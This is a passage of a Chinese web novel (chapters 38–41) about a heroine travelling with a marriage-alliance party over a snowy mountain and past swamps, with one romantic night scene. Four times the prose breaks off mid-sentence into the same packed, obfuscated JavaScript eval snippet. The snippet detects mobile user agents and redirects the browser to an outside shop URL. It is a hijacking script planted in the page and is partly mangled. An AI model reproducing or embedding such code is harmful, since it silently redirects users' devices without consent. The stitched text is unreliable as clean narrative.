“我们愿意还她自由之身,给予她足够的钱财,供给她接下来的生活。” 既然如此,那也只能…… 等等…… 姜汾理清楚了闻行的话,然后再次确认:“他说愿意帮池年脱离奴籍?” 闻行看着姜汾在说这话时比听到自己表明心意还欣喜的模样,内心深处的一丝失落又被激发了出来。 但他又压了下去,毕竟,按照姜汾刚刚的想法,她还没有原谅自己。 而此刻的姜汾,没空管心情糟糕的闻行,她找了个借口,绕着闻行离开了房间。 听到跟在后面的脚步声逐渐减小,直至完全消失,姜汾终于让吉吉去把池年找来。 池年与姜汾很久没见面了,之前姜汾帮了池年一把,让她在侯府的处境改善了很多。 起码,现在没有人敢当面骂她是不知廉耻还痴心妄想贱人了。 她恭恭敬敬地对着姜汾行了个礼,然后等待姜汾的发话。 姜汾如实以告,拿出了记录了池年奴籍的丹书,当着池年的面撕毁。 看着逐渐落下的碎纸片,池年似乎明白了姜汾的意思,但是,被奴役多年的她根本不敢相信,自己为奴为的生涯竟然被这几片碎纸画上了句号。 姜汾适时开口:“是闻演要求的,他求着我们放你自由。” “我们会在郊外给你布置一处宅院,到时候,你挑选一些仆人,到时候带过去吧。” “谢谢主子。” 一时难以改掉自己的称呼,池年对姜汾说:“不用了,这么多年了,我已经会了很多,我一个人待着,自己心里才会痛快些。” 知道她是在膈应侯府这些人,姜汾点点头,不再多做要求,只是让她从此以后多照顾好自己。 “夫人这话说的,好像我们以后再也见不到似的。” 要是真的见不到,池年也更愿意把这一切归做侯府会把自己抹杀,让自己再也见不到天光。 她低着脑袋,把这个想法摁在脑海中,争取不让姜汾窥见。 可姜汾似乎是看出了她的胡思乱想,只是告诉她:“我要走了,也许五年,也许十年,也不知道什么时候会回来。” 姜汾出走的这几年要去做什么,不是池年该问的,可她还是忍不住地担忧以后姜汾所走的路。 “夫人,以后山高路远,一路平安。” 当然会一路平安的。 …… 半月后,山影青青如墨,流水淙淙如丝,闷热伴随着生气已经到达了京城。 这是六月下旬,他们要开始赶路了。 从京城到草原,上万里的路程,紧赶慢赶两三旬才会到达。 圣上特地为赵峤封了一个燕乐公主的称号,让赵峤代表芪朝出嫁。 姜汾走的前一天晚上,和闻行躺在床上,两个人在黑暗中默默不说话,仿佛从来没有见过身边这个人。 “明天就要走了,没有什么话对我说吗?” 该说的话在这么多天里都应该说完了,他们之间最后能剩下些什么呢? 想了很久,甚至身旁的闻行呼吸都逐渐均匀了,姜汾以为他睡了,便将睡姿由平躺改为侧向闻行。 在黑暗中若隐若现的视野中,姜汾偷偷用手指描绘他的容貌,然后深深叹了口气,道:“或许,我应该是喜欢你的。” 但是,我可以把这种喜欢当做首要的事,你却只会把利益排在我的前面,对我百般欺瞒。 这是一种不对等的关系,平等的开始才是一切顺利发展的前提,如果连这种应有的对等都做不到的话该有的情事就不该发生。 否则,处于感情劣势中的那一方,会永远担心自己被遗弃,会永远害怕被利用。自卑和敏感会成为她永远无法喧诸于口的痛苦。 这是一种,谁都无法接受的局面。 想到这里,姜汾又转了个身,把瘦弱的脊背对准闻行。 她不会知道,在月上西空的时候,闻行慢慢睁开眼眸,看着姜汾的脊背,想着两人相处的点点滴滴,久久未能入睡。 从本月上旬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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或许这些想法会被闻行听到,可那又如何,自己都远离他了,该过点快活日子了。 谁料,呼延阑张口就是拒绝。 “小峤那辆马车是新娘子才能坐的,你又不是新娘子,我也不娶你,你凭什么坐?” 虽然听到呼延阑对自己没兴趣这件事情值得高兴,但呼延阑对赵峤的称呼容易让姜汾沉默。 姜汾皱着眉头,问:“你敢当面这么叫赵峤吗?” 这话把呼延阑堵了好一会儿,他白了姜汾一眼,踢了两下马肚子,又跑到了和亲队伍前面,不再管姜汾。 姜汾看着他决绝离开的背影,精准实施内心腹诽。 小峤,他和赵峤很相爱吗? 小峤,他以为他是周瑜吗?搞雄姿英发,羽扇纶巾那一套。 小峤,他这样子更像峡谷里暗黑行走的兰陵王,只知道在峡谷里与小乔组成阴暗情侣。 【宿主,你好会吐槽。】 系统自从绑定姜汾以来,从来没有如此真情实意地赞美过姜汾,换作以往,姜汾可能会嘴角向上,忍不住地开心一下。 但是,现在的姜汾只记得李坝坝瞒着自己给闻行开启了读取心声的功能。 所以,她冷漠地从口中吐出了一句:“滚。” 【果然,你还忘不了他,为了他,到现在都还恨着我。】 姜汾:“……” 38. 大雨 和亲队伍赶了十几天的路程,终于在一夜天黑之前到达了大雪山脚下。 只要翻过了这大雪山,就能到达草原了。 但这大雪山并不是那么好过的。 如今是夏风习习,自然让雪山上的情况比冬日里好些。 但现在已经步入了鬼月,马上就到中元节了,按照芪朝风俗,今晚是万万不可以行路的。 呼延阑一个匈奴人,哪里在意这些习俗,但想到他们已经连续走了十来个夜路了,害怕大家舟车劳顿,最后对过大雪山这件事是心有余而力不足。 百般因果叠加下来,最终他还是同意了在此处找家客栈歇息。 荒山野岭的,能找到一家容纳这么多人的客栈并不容易。 呼延阑本来是想找家人户,让赵峤和姜汾休息一夜,自己则带着其他的人在野外里搭几顶营帐,将就着过一夜。 谁料,派出去探路的人突然回来禀报,说是前方没几里路便发现了一家大客栈。 呼延阑起了疑心,细细盘问:“莫不是你看错了,这里又不是市井,开那么大的客栈在这儿,怎会盈利呢?” 探路人弯腰驼背,一脸的坦诚:“小人若有半句虚言,定叫我在这荒无人烟之处被野狼叼了去,尸骨无存。” 话说到这个份上,众人以为呼延阑定会前去瞧上一瞧,谁料呼延阑眼眸中闪过怀疑的情绪,便用一句胡人语问:“你叫什么名字?” 探路人低着头,不让呼延阑看清他的面貌,可呼延阑还是继续用胡人语说:“你带路,我们一起去那家客栈。” 面对呼延阑叽里咕噜的鸟语,和亲队伍里基本上全是芪朝人,能听懂的少之又少。 探路人刚转过身准备往前面的一条小路走去,走了几步突然意识到什么,转过身来刚想要跪下,就被呼延阑一刀割了脖子。 不甘心就这么死去的探路人还想再挣扎一下,却不曾想血液喷薄而出的速度越来越快,最后目眦欲裂,直挺挺地倒了下去。 呼延阑朝他身上吐了一口口水,然后带着怒气骂道:“也不知道又是哪一族看我不顺眼的,竟然派了个这么蠢的来取我性命。” 听到外面似乎动起了刀剑,姜汾和赵峤微微从马车里探出了脑袋,想了解一下情况。 就在这时,一个身着劲装的黑衣人不管不顾来到队伍前,有人想要拦住他,他直接一巴掌把人拍飞了。 呼延阑让他来到身前,道:“勇士,别打,我们就这么点人。” 黑衣人点点头,对呼延阑说:“你们可以去前方那家大客栈了。” “为何。” “我和兄弟们稍稍出了一下手,也不知怎的,那家客栈剁人肉馅的厨子,竟然在极短的时间里断掉了脖子。” 知道眼前这位黑衣人是在有意地帮助和亲队伍,呼延阑也不是傻子,直接问:“兄台是?” “我姓甚名谁何足挂齿?”黑衣人说完便往前方走去,只剩下余音荡山:“不过受主子委托,奉命保护夫人罢了。” 这里面,能被称为夫人的仅此一位,便是姜汾。 不过,姜汾也确实是没想到,闻行会偷偷派一队人马暗中保护自己。 她本来想这件事便一时愣住了神,没听见不远处呼延阑笑着调侃的声音,等反应过来的时候,队伍已经开始缓缓移动。 姜汾只能半红着脸又坐回了马车。 不消半个时辰,他们便到了客栈,等他们走进客栈时,不过奇然,上上下下翻遍了,竟是一个人也没找到。 后厨派人去看了,发现一些还未剁碎的□□,不过那些肉块,再怎么看都不像是猪羊牛之类的家畜,倒像是活生生的人被撕碎了一般。 众人不敢太过招摇,只点了两三盏烛火,怕吸引了野外的豺狼虎豹前来。 有擅长厨艺的,到后厨取了些看起来还新鲜的蔬菜瓜果,做了几道菜汤,待众人吃下后,便各自寻一间房睡下了。 姜汾也不亏待自己,挑了一间天字一号,然后就在床上呼呼大睡了。 直至夜半三更,客栈外突然刮起了大风,竟然吹开了姜汾房间的窗户。 本就是夏暑,没盖薄被的姜汾受冷风侵袭,打了两三个哆嗦,迷迷糊糊起来就要关窗。 正当她走到窗户跟前时,睡眼朦胧之间看见了窗户外面飘着一身黑衣。 姜汾一下就惊醒了,立马关上窗,以迅雷不及掩耳之势跳到床上,拉过薄被不够,再加了一床棉被压在身上,整个人窝在被子里,闭着眼睛却不敢入睡。 难道真的是鬼月到了,鬼魂都开始出来游荡人间了? 这是三楼啊,什么人能够在半夜三更的时候挂在三楼? 如果是以前的姜汾,一身的唯物主义,宁愿相信是别人精神失常导致走火入魔了,也不愿意承认这世界上有灵异事件。 但现在不一样,她都能穿越时空了,还有什么是不可能的。 她在心里暗暗祈祷,别让刚刚的阿飘看见自己。 但俗话说,想什么来什么。 风刮着大树的声音再次传来,似乎是窗户又被打开了。 正手脚都忍不住发颤的姜汾,突然感受到有东西挤压着自己身上的被子,她大气都不敢喘,双手捂住嘴巴不敢发声。 事与愿违,她在渴望不被发现的时候,那个鬼怪已经大手一掀,将盖在姜汾身上的被子全部甩到了地上。 被暴露了位置的姜汾,一下子便弹了起来,满脑子想到的第一件事便是寻找一处可以藏身的地方。 可黑衣鬼怪岂能让他如愿,他挡在床铺面前,宽大的身影让姜汾根本没有可以逃窜之地。 姜汾逃无可逃,只能往床铺里面躲。 要是人,她还能冷静下来算计一下,但若是鬼,她只能烧两炷高香,祈求对方别那么快弄死自己。 就在她心跳快到已经感受不到胸腔与肺部的呼吸的时候,鬼怪突然开口说话了。 “筠婉,别害怕。” 再次抬头一看,透着窗外洒进来的月光,她看清了轮廓模糊的闻行。 “你有病吧。” 两人分离之后的第一次见面竟然是以这种方式,任谁都不会感到心情愉悦和悸动。 只会觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235400|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后怕和恐惧。 闻行听到姜汾不欢迎自己的话,急忙把窗户关上,解释道:“抱歉,客栈大门关了,怕打扰你们休息,只能从外面爬进来了。” “可外面一点着力点都没有啊?” “我有轻功的。”怕姜汾不相信,闻行还详细解释了一番:“踩着他们的招牌,稍微费点功夫就上来了。” 姜汾人神俱疲,对闻行说:“管你是人是鬼,要睡觉就挨着我睡,我要睡了。” 闻行不知道今天晚上是怎么了,就是不让姜汾如愿。 他可怜巴巴地坐到床边,只占了一点点位置,然后说:“我听不到你心里的声音了,我很担心你。” “听不到是好事。” 这里不是侯府,姜汾也懒得装成一副侯府夫人的气派,她实话实说,毕竟,这是她每天在系统面前唠叨才换回来的结果。 与姜汾而言,确实是好事。 “筠婉……” “别!”姜汾连连摆手,道:“我有自己的小名,我小名叫谷地,你别这么叫我了。” “谷地……” 听到闻行猝不及防的改名,姜汾感觉脑袋顶上天雷滚滚,脑袋一热,装作没听见便平躺下了。 正当她闭上眼睛准备入睡时,闻行却不按常理出牌,亲了她一口。 姜汾感受到闻行薄唇微凉的触感,两只手抬起想要推开闻行,却被闻行稍微一用力就挡住。 双臂被迫弯曲在闻行的胸膛前,姜汾现在的姿势不像是挣扎,更像是欲拒还迎。 感受到闻行的视线在慢慢往下移,姜汾哪里接得住他完全变了一个样的眼神。 突然,闻行像是下了很大的决心一般,双手撑着从姜汾身上起开,姜汾侥幸以为他放过自己了。 可转眼之间,他便轻轻咬住了姜汾的耳朵。 黑暗之中,辨不清五彩之色,但姜汾还是能够清晰地感受到自己的整张脸红得滴血。 闻行却是不管不顾,在姜汾的耳边,低沉的嗓音像是真正的鬼怪一般蛊惑着姜汾:“求求你,不要丢下我。” 重新吻上的那一刻,姜汾双手抵抗的力道突然小了些。 闻行趁虚而入,开始为姜汾宽衣解带。 而姜汾,满心满眼想着:让这么个翩翩公子伺候自己一晚,好像还不错? 就当点了个自己看得上的鸭。 窗外皎白的月光不知在何时被大片大片的黑云遮挡了,屋里屋外的漆黑为屋内的两人染上了奇异的光晕。 又逢雷声阵阵,吓人的闪电次次将屋内的漆黑划破,照得两人均是脸色酡红一片。 不久,点点滴滴的雨水降落,本以为会是一阵小雨,没想到却是倾盆大雨,似乎是老天爷刻意为之,让许久未来的甘霖降落到这片无人可知的地方。 待到大雨渐渐退去,客栈又是一番不一样的风光。 姜汾不知在何时晕了过去,闻行把她抱了起来,放到浴桶中为她沐浴。 水花又起,似乎又要开始一场轰轰烈烈的大雨。 夜深人静,两人相拥而眠,大雨自此结束于此。 39. 沼泽 翌日,姜汾腰酸背软地从床上坐了起来,迷迷糊糊睁开眼睛,发现本该躺在床外侧的闻行早已离开。 她强打精神,给自己换上一身干净的衣服,再穿上鞋,走到昨晚闻行进来的窗户,看到了少量的鞋灰。 知道昨天晚上发生的一切并不是姜汾的臆想,她打开窗户,闭上眼睛,深深吸了一口新鲜空气。 终于神清气爽,她收拾收拾准备下楼。 和亲队伍路程赶得极紧,姜汾刚下楼,所有人都已经在楼下候着了。 姜汾打着哈欠,装作若无其事的样子从他们走过去,谁知,赵峤突然叫住了她。 “怎么了?” 看到赵峤欲言又止的样子,姜汾不明所以,皱着眉头看着赵峤满脸绯红的模样。 再回头看呼延阑,发现他低着脑袋看鞋尖,根本不敢和自己对视,姜汾作出一点询问的样子,他就紧张地后退两步。 终于发现有些不对劲的姜汾,抬头看了看周围所有人,发现他们都是一副想要说什么但又不敢说的样子。 姜汾狐疑地跑到二楼有铜镜的地方,照了一下现在自己的模样,这才得知了他们不好开口的原因。 闻行竟然…… 在自己脖颈处留下了两三处十分明显的红痕。 任谁,都看得出她昨晚肯定是经历了一番翻云覆雨。 姜汾一副不知所措的样子,从包袱中找出一顶帷帽戴上。 再次出现在众人面前时,虽说是看不到那些明显的痕迹了,但大家还是能猜到此刻的姜汾正面红耳赤。 呼延阑尴尬地咳嗽了两声,然后挥了挥手,示意厨子把早上做的饼带上,。 “赶路吧,大家都回到车队里。” 姜汾听到这话,犹如脱缰的野马,迅速奔到了自己的马车。 只是,当她打开马车帘子的那一刻,透过白色的帷帽纱,看到眼前若隐若现的景象,她还是当场便石化了。 此处狭管效应显著,大风一刮,石化的姜汾便在顷刻之间土崩瓦解。 好不容易回过神,姜汾别扭地坐了过去,问那个本不该出现在这里的男人:“你的大军呢?” 闻行看姜汾特地坐得离自己很远,眼见着她都快被挤出马车了,闻行赶紧一把手把她拉进怀中,然后才认真回答问题:“我把盛烽拉着一起来了,他现在带着军队在不远处驻扎着。” “我只是抽空来看你一眼,待会儿就走。” 听到盛烽都来了,姜汾一脸不可置信道:“天姑爷的,不会公主也来了吧。” “圣上不会允许自己唯一在意的妹妹离开京城半步的,他特别讨厌盛烽这个拐走她妹妹的人,这次把他借给我,也有想让他死在路上的打算。” 闻言,姜汾立刻让闻行小声点,偷偷打开了帘子,看见周围人都在神色如常地往前走,才放下心来。 “盛烽既然知道皇上想让他死,为什么还来?” “赘婿都希望能真正得到岳父岳母一家人的认可,盛烽也不例外。” 话说到这儿,姜汾就没什么引子继续往下说了,毕竟,昨天夜里他们才糊里糊涂地发生了那种事情。 可闻行不知道怎么回事,像是变了一个人一般,不同于以往的少话与隐瞒,他老老实实地问:“你昨晚舒服吗?” 还不如不老实。 还好有帷帽遮着脸,不然现在姜汾红得滴血的脸定然会让闻行那厮瞧了去。 可闻行气定神闲,似乎根本没考虑到他的话,能让一个内心三十多岁的老阿姨震惊不已。 还好,没过多久,闻行便因实在抽不开身离开了。 姜汾本来以为这件事无人知晓,便故作轻松地长舒一口气。 可就在此时,突然有人掀开了她的帘子,姜汾迅速扭动脖子,导致脖子咔嚓一声,她扬起脑袋,听到外面的人说话才知道原来是呼延阑。 “马上就要翻越大雪山了,接下来所有马匹都带不过去,要麻烦你和小峤下来走两步?” 知道大雪山凶险无比,姜汾点点头,待车队彻底停下来时,她徐徐下了马车,和赵峤一起走在队伍后面。 此山虽名为大雪山,但低一点的地方是见不到雪的,倒是有一片连绵起伏的草地,平铺在地上,青绿无比。 姜汾她们之所以走在队伍后面,便是因为这片草地不如表面上那般安静祥和。 这是一片沼泽地。 曾经有多少不谙世事的人涉足这里,最后挣扎数次,终成为大雪山山脚的枯骨一副。 刚联想到这儿,前方就传来一阵哀嚎,原来是一个探路的人不慎踩到了沼泽。 黝黑的沼泽泥瞬间从脚开始向上浸染了探路人,他越挣扎,就在沼泽里越陷越深,最后在极短的时间里就被沼泽淹没了。 “所有人,全部绕路,不要从这里过去。” 这是一个沉稳的中年男人所说的话,他是整个和亲队伍的首领,是在战场上混迹了几十年的人,名叫王老虎,经验十分老道。 姜汾本来以为他是在规避风险,却没想到他稍后却说:“他已经成为了下一个伥鬼了,只要我们从那里过去,就会成为下一个被逮下去的人。” 姜汾打死都没想到,这群人竟然是把沼泽当做了伥鬼索命。 即使是换了一条路,没过多久,又有一个人陷入了沼泽,看他立马开始挣扎的样子,姜汾大吼一声:“不要动。” 在场所有人被威慑住了,一动不动。 但陷入沼泽的那个人,因为命悬一线,早已经听不见别人的声音,只是一个劲儿地扑腾挣扎,最终还是没能幸免,没入了沼泽。 王老虎终于从姜汾那声大吼中回过神来,他立马向姜汾请教刚刚的话是什么意思。 姜汾反而问:“你计划有多少人会死在这里?” 王老虎当着这么多兄弟伙的面,犹豫了一下,但还是迫于姜汾的威压,说了实话:“以往翻越这座大雪山,再少都会在这片草地上搭上十几个兄弟。” 他们落后的生存方式,让他们不得不选用以人都的牺牲来当作一种前行的方式。 姜汾无法再看见更多的人因为不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13274037|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晓如何逃生而死在这沼泽中。 她如实以告。 “大家如果不慎踩到沼泽,无需担忧,放宽心。” “我们应该在第一时间找到一个东西作为支撑,双腿并拢,手臂张开,然后迅速把身上的包袱甩掉,无论值钱与否,都甩在一旁别去在意。” “然后,剩下没掉进去的人,便负责给掉进去的人甩绳子,把他从沼泽中慢慢拉出来。” “一定切记,掉进去的人不要乱动,越是乱动,陷得越快越深。” 听明白了姜汾的方法,众人还是有些疑虑,王老虎作为领头的,更是如此。 “夫人,恕我直言。”王老虎啧了一声,道:“不说您年轻这件事,单单讲你这么多年都是大门不出二门不迈的。出来还得坐个马车,您怎么知道这能行得通呢?” 他话里话外的语气是带着嘲讽的,或许掺杂了一些其他因素,导致姜汾听起来感觉这个人并不是十分尊重自己。 王老虎问自己是否行得通,但真正问心无愧的人,是不会陷入一次又一次的自我肯定与证明,她反问:“你有其他更有效的方法吗?” “你不试试,怎么能知道这法子不行呢?” 然而,王老虎还是不肯退一步,他不断地问姜汾为什么觉得自己的法子可行,搞得姜汾开始有些招架不住了。 就在这时,一把锋利而程亮的剑抵住了王老虎的喉咙,众人顺着剑身看去,竟然是昨日出现的黑衣人。 黑衣人面露寒光,剑锋一转,便让王老虎的脖颈处出现鲜血。 王老虎是刀架在脖子上,不得不低头了,赶忙对后面的兄弟们喊:“大家都听夫人的!” 黑衣人这才收住剑,退到一边。 这一次,大家慢慢走了很久,都没有人掉入沼泽。 姜汾对着一直跟着自己的黑衣人说:“你且先走吧,我这边一切都好。” 黑衣人顺从地点了点头,然后转身离开。 在他离开后不久,又有人掉入了沼泽,掉进去那人听从了姜汾的话,没有乱动,静静等待着有人救他。 在场膘肥体壮的人立马把绳子扔了下去,用了些力气,把他救起来了。 被救上来的人终于敢大口喘着粗气,死里逃生的感觉让他如临地府。 等休息了一会儿,他跪着向姜汾道谢。 姜汾却摇摇头,告诉他:“拉你上来的是这些兄弟,不是我,要感谢你就感谢他们吧。” 他这才转过身子,对那些兄弟们一个劲儿地磕头。 姜汾欣慰地抬头,这才发觉王老虎正直勾勾地盯着自己,眼神里可不是善意。 她眸中神色变化了一番,然后盯着王老虎一字一句道:“您对我是有什么意见吗?” 有什么意见就提出来,他们现在一行人在荒郊野外要走好多天,这么多天里,他们都是彼此活命的指望。 如果他们都起了内讧,那么是否能活下去,就不一定了。 毕竟,圣上只要求赵峤和呼延阑平安到达就够了,他们这些人,死了便是死了。 40. 心痒 周围所有人都面面相觑地看着王老虎,这是他第一次没有在兄弟中立住威信。 感受到一定危机的王老虎,开始避重就轻地想要逃避姜汾的问题。 偏偏刚刚被救起来的人对姜汾心存感激,听到自己大哥对姜汾有些意见,便自作主张站出来为两人调解:“大哥,有话直说嘛,现在这样并不是你以往的风格。” 王老虎再次被自己的兄弟拉进漩涡,不得不向姜汾说:“你行为举止似乎太过于放肆了些。” 话说得隐晦,但稍微多想就会知道,他是在说昨晚姜汾与闻行的事。 都说事出有因,只要抓到了事情的矛盾,解决问题就不在话下。 姜汾眼睛都不眨,像是听不懂他在说什么一般,抬起头问他:“我几时行为放肆了?” 有些话不能摆到明面上来,王老虎虽然粗犷,但也能明白这种道理,所以面对姜汾的回问,他支支吾吾半天说不出话。 他说不出话,姜汾便能乘机而入,接着对他说:“就算我放肆了,我也有可以让我放肆的资本。” 侯府夫人这个身份搬出来,能压死太多的人了,王老虎再怎么受皇帝赏识,封官加爵,那是日后的事,现在的他,阶层地位低于姜汾,便也只能不得不向姜汾低头。 这是古代弱肉强食的固化规则,却也是现如今姜汾能让他心服口服的一道法子。 “再者说,难道我的提议没有一丝一毫的用处?我相信,凭我的能力与经验,也能让你对我心服口服。” “你说是吧。” 逐层说理,已经把话说得很明白了,况且到最后还给了他一个台阶下,王老虎再倔,也不得不点头承认姜汾。 既然如此,目前的纠纷解决,一行人便接着赶路。 自从有了姜汾的法子,草地上密布的沼泽便不再是问题。 很快,他们便走到了草地边缘,感受到了坡度在不断加大。 昨天夜里下了场大雨,导致泥土松软且湿,今日又走到了午后,导致山上是不是便有些碎石块滚下来。 即使大家再怎么小心翼翼,赵峤还是不慎踩到了挡在路途正中央的石块,当时便没有站稳的她,更是直接摔倒在地上。 大家急忙上前查看,竟然扭伤了脚踝,膝盖也是伤痕处处。 对于赵峤来说,路是走不了了。 就在这时,呼延阑站了出来,主动要背赵峤跨越大雪山。 赵峤不太情愿,目光时不时地就在看姜汾,似乎是在等待她为自己解围。 明白赵峤是在膈应呼延阑,姜汾灵机一动,对赵峤说:“要不让王老虎背你吧。” 王老虎当即想要拒绝,但姜汾眉眼含笑说道:“圣上可是说他们是咱们去草原的保障,他一定会想办法的,再者说,这么多兄弟看着呢。” 前半段话是威慑,后半段话才是在提醒王老虎,刚刚的他在兄弟面前失去太多的威信,现在若是还不答应,恐怕会火上浇油。 没办法,王老虎咬着牙便背上了赵峤。 由于呼延阑觉得王老虎年纪大了,怕他后半程背不动赵峤,让赵峤不小心摔下来,呼延阑一直跟着他们走在队伍的最后面。 赵峤低声让他离自己远点,可呼延阑偏偏就是死乞白赖地跟着他。 有这么个匈奴皇子跟在身后,真正遭罪的人还得是王老虎,人活了几十年,还没亲眼见过地位这么高的人,生怕他一个不小心就给自己弄死了。 越往上走,原本的青青草地变成了荒漠。 一望无际地全都是石块,连花花草草都少得可怜。 他们带的水基本上都快喝完了,好几个没水的人实在渴得厉害,看到石头缝里有几株鲜艳的花,也不管三七二十一,脱离了队伍,拿个刀就把花摘了。 按照以往的习惯,把茎管割破,保底都能流出这水来,他们以为这里会没什么不一样的。 第一个迫不及待对着茎管喝水的人,抿了下嘴巴,觉得奇怪,便问周围人:“怎么如此苦涩,而且像没什么汁水一般。” 他如此说了,但其他人都没在意。 姜汾原本走在队伍后面,没看见有人偷偷离开了,正疑惑队伍里似乎少了几个人,便突然看见下一个准备喝汁水的人。 知道这上面的花都不是啥普通的野花野草,姜汾上去便夺过了几人的花,接着把花丢的远远的。 那几人口渴难耐,本欲解渴,却被姜汾这么一搞,难免有些怒气,只不过碍于她的身份,只敢梗着脖子问:“为什么不准我们解渴?” 姜汾冷冷地看着他们,说:“以后不要再拿这高山顶上的野草野花解渴了,你们早喝水,可以来匀我水壶里的。” 话是这么说,真要他们去要水,他们还真不敢。 见他们一副不服气的样子,姜汾无奈解释道:“这种高山顶上的花草,且不说它颜色艳丽,吸引各种虫子,就说它本身便是剧毒,碰一下生死难料。” 闻言,刚刚才吸吮完汁水的一人立马开始干呕,姜汾看他的样子便知道他是已经干过这傻事了。 她也没办法,只能安慰两句:“也不是每一种草都能害死人。” 话只是用来安慰的,但似乎真的起了一定的作用。 那人继续跟着队伍,从头到尾也只是呕吐了几回,窜了几回稀,临到最高点的时候晕过去一回罢了。 待到再次醒来,他们已经在大雪山的阴面了。 像是捡回来一条命一般,他虚弱不堪,但他的意念告诉自己:他必须起来赶路。 姜汾及时摁住了他这颗蠢蠢欲动的心。 这里是大雪山的阴面,太阳光照得少,而且更陡,最为要命的是,天已经完全黑完了,再往下走只会死路一条。 他们带了足够的火种,但却没有薪柴一类引火的东西。 还好,大家都带了些厚衣,让今晚似乎没那么难捱。 找了个较为平坦的地方,男的一堆谁在外围,把姜汾和赵峤围在里侧。 赵峤的上经过一下午,变得越发肿胀起来,姜汾没办法,只能用软和些的衣服慢慢揉着她的腿,为她的腿活血止瘀。 感觉好多了,赵峤窝在姜汾的怀里慢慢睡着了。 姜汾靠着一块大石头,石头咯着她,让她不太舒服。 为了排遣心中莫名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299895|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 升起的苦闷,她抬头看了看夜空。 今晚的夜空没有星星,更苦了,更闷了。 …… 翌日,清晨寒风将姜汾冷醒。 她动作很轻地把赵峤放到一边,然后自己起身来看看,却发现远处三五成群地冒出一堆人影。 她以为是自己看花了眼,搜了搜眼睛再看之时,发现的确如此。 她赶紧把赵峤摇醒,在赵峤还没搞明白发生了什么事的时候,她又去把睡在在潍坊的男人们全都叫醒。 呼延阑最后一个醒来,他正准备问姜汾干嘛,姜汾便给他指了那些逐渐逼近的人。 呼延阑视线一晃,发现的确如此,便匍匐前进,找到一个大石块做掩护,认真观察起对面的人。 这么陡的地方,他们也没有多少余粮,根本跑不了多远,若是一个不小心摔死了,那更是一个亏本买卖。 索性其余人都待在原地,静观其变。 那些人渐渐逼近他们,姜汾一抬头,甚至看见了一个年轻男子直接头也不抬地越过呼延阑,走到了他们身边。 年轻男子若有所思地盯着他们,过了好一会儿,才煞有介事地问:“小侄,那个是你媳妇?” 用的不是芪朝语言,姜汾他们听不明白,但是呼延阑却听明白了,指着人群中的赵峤说:“那个温柔娴静些的是我的和亲对象。” 用匈奴语说了一次后,他又用汉话说了一次,好让所有人都明白。 豪放睡姿睡了一晚上的姜汾此时正顶着鸡窝一般的头发和划得破破烂烂的衣服,她主动与赵峤拉开距离,然后躲到一边玩石头。 “这样啊。”年轻男子自言自语似的嘟囔了一句,对着赵峤用汉话说:“欢迎来到胡人的部落,我是呼延阑的舅舅,我叫须卜真。” “这些人是我母族的人,他们来接我们。” 呼延阑走到赵峤面前,很自然地把她背了起来,然后转身对着须卜真说:“舅舅,我们回去吧。” 只是转了个圈,便没看紧呼延阑,让他背上了赵峤,姜汾没办法,特意跟在队伍后面,不参与他们之间的事。 须卜真走在呼延阑身边,看着他还没成亲就护着这个芪朝女子的举动,不由得发笑,然而,他转而想到:“另一个女子是谁?” 他用匈奴语,特地避开了赵峤,防止他听明白他们的话。 “不会是跟着来的婢女吧,我瞧着挺讨喜的,实在不行,送给你舅舅我作小妾?” 须卜真一开口,呼延阑便知道他心里面想些什么,他和姜汾无仇无怨,也深知自己舅舅的德行,不知道是不是为了自己后人积德,他模糊了些说道: “芪朝皇帝安排给我的媒人,是芪朝一个高官的妻子。我们两国此次和亲,便是为了安稳,她过来这一遭,便是那个狗皇帝对我们的试探。” “我们要是让她出了意外,芪朝便师出有名,到时候又是一番恶战。” 听到了侄子的话,须卜真摸了摸自己的胡须,想要放弃,又转过头看了一眼队伍后面的姜汾,却又觉得心痒难耐。 似乎是想到了什么,他笑着往前面走了好几步,隐匿到队伍之中。 41. 匈奴 匈奴的习性与芪朝人大不相同。 他们生活的地方更为寒冷,土壤贫瘠,他们是大雪山山脚下存续的子民,更多时候,为了生计,他们只能选择四处游牧。 他们自称是马背上的民族,每个成年人都长得膘肥体壮。 这样的他们,根本瞧不上芪朝人。 或许是因为教化问题,他们不约而同地认为芪朝人天生瘦弱,个子矮小,手无缚鸡之力。 